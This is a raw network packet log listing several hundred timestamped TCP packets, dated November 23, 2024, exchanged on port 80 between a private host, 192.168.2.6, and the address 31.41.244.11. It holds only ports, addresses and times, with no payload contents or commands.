Nov 23, 2024 13:28:16.748207092 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.748281956 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.748313904 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.748368025 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.749178886 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.749258041 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.749325037 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.749386072 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.750161886 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.750272036 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.750300884 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.750413895 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.751144886 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.751274109 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.751281977 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.751336098 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.752162933 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.752237082 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.752296925 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.752377033 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.753108978 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.753228903 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.753268003 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.753289938 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.754112005 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.754174948 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.754232883 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.754291058 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.755069971 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.755196095 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.755206108 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.755335093 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.756098986 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.756169081 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.756299019 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.756408930 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.757050037 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.757179022 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.757185936 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.757230043 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.758043051 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.758104086 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.758187056 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.758253098 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.759018898 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.759104013 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.759166956 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.759221077 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.760000944 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.760098934 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.760154009 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.760220051 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.760988951 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.761049032 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.761094093 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.761164904 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.761967897 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.762057066 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.762101889 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.762154102 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.762959957 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.763036966 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.763097048 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.763240099 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.763932943 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.763989925 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.764046907 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.764103889 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.764934063 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.765014887 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.765050888 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.765120983 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.765856028 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.765918016 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.917892933 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.917934895 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.917963028 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.917970896 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.918009043 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.918009043 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.918056965 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.918056965 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.918673038 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.918783903 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.918842077 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.918906927 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.919540882 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.919600010 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.919603109 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.919650078 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.920651913 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.920718908 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.920836926 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.920898914 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.921636105 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.921689034 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.921772003 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.921873093 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.922517061 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.922571898 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.922705889 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.922739983 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.922760010 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.922775984 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.922792912 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.922835112 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.923186064 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.923269033 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.923340082 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.923517942 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.924259901 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.924310923 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.924331903 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.924365044 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.925164938 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.925219059 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.925263882 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.925318003 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.926172972 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.926266909 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.926273108 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.926326036 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.927128077 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.927186966 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.927254915 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.927330017 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.928123951 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.928220034 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.928234100 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.928308010 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.929100990 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.929158926 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.929205894 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.929250956 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.930078030 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.930133104 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.930195093 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.930243015 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.931061029 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.931116104 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.931201935 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.931265116 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.932058096 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.932113886 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.932159901 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.932159901 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.933042049 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.933100939 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.933170080 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.933222055 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.934021950 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.934089899 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.934151888 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.934211969 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.935030937 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.935101986 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.935277939 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.935343027 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.935986996 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.936083078 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.936108112 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.936188936 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.936959982 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.937036991 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.937083960 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.937166929 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.937947035 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.938015938 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.938060045 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.938114882 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.939037085 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.939208031 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.939241886 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.939289093 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.939914942 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.940031052 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.940058947 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.940336943 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.940907001 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.940962076 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.941021919 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.941088915 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.941879988 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.941924095 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.941998959 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.942070007 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.942854881 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.942969084 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.943017006 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.943017006 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.943837881 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.943892956 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.943895102 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.943965912 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.944991112 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.945049047 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.945055008 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.945121050 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.945827961 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.945899010 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.945982933 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.946053982 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.946826935 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.946897984 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.946924925 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.946979046 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.947798967 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.947856903 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.947860956 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.947936058 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.948764086 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.948838949 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.948884964 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.948949099 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.949776888 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.949846983 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.949930906 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.949980021 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.951024055 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.951082945 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.951217890 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.951276064 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.952220917 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.952291965 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.952358961 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.952413082 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.952905893 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.952960014 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.952965975 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.953016043 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.953787088 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.953843117 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.953857899 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.953895092 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.954816103 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.954874039 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.954895973 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.954945087 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.955662966 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.955717087 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.955743074 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.955760002 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.956736088 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.956792116 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.956978083 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.957025051 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.957631111 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.957680941 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.957746983 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.957807064 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.958601952 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.958695889 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.958718061 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.958786964 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.959618092 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.959673882 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.959817886 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.959907055 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.960577965 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.960654020 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.960702896 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.960788012 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.961599112 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.961663961 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.961734056 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.961805105 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.962549925 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.962622881 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.962690115 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.962735891 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.963548899 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.963593960 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.963671923 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.963741064 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.964526892 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.964576006 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.964579105 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.964624882 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.965485096 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.965543985 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.965584993 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.965636015 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.966514111 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.966563940 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.966629982 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.966686010 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.967472076 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.967545033 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.117201090 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.117263079 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.117305994 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.117337942 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.117683887 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.117738008 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.117743969 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.117803097 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.118649960 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.118762970 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.118807077 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.118861914 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.119617939 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.119684935 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.119739056 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.119810104 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.120624065 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.120704889 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.120784044 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.120851994 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.121598005 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.121738911 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.121773005 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.121886969 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.122564077 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.122631073 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.122703075 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.122771025 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.123541117 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.123626947 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.123694897 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.123812914 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.124535084 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.124641895 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.124707937 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.124771118 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.125555038 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.125619888 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.125788927 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.125853062 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.126512051 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.126636982 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.126646042 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.126717091 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.127492905 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.127568007 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.127610922 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.127661943 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.128496885 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.128550053 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.128617048 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.128684998 CET	49729	80	192.168.2.6	31.41.244.11
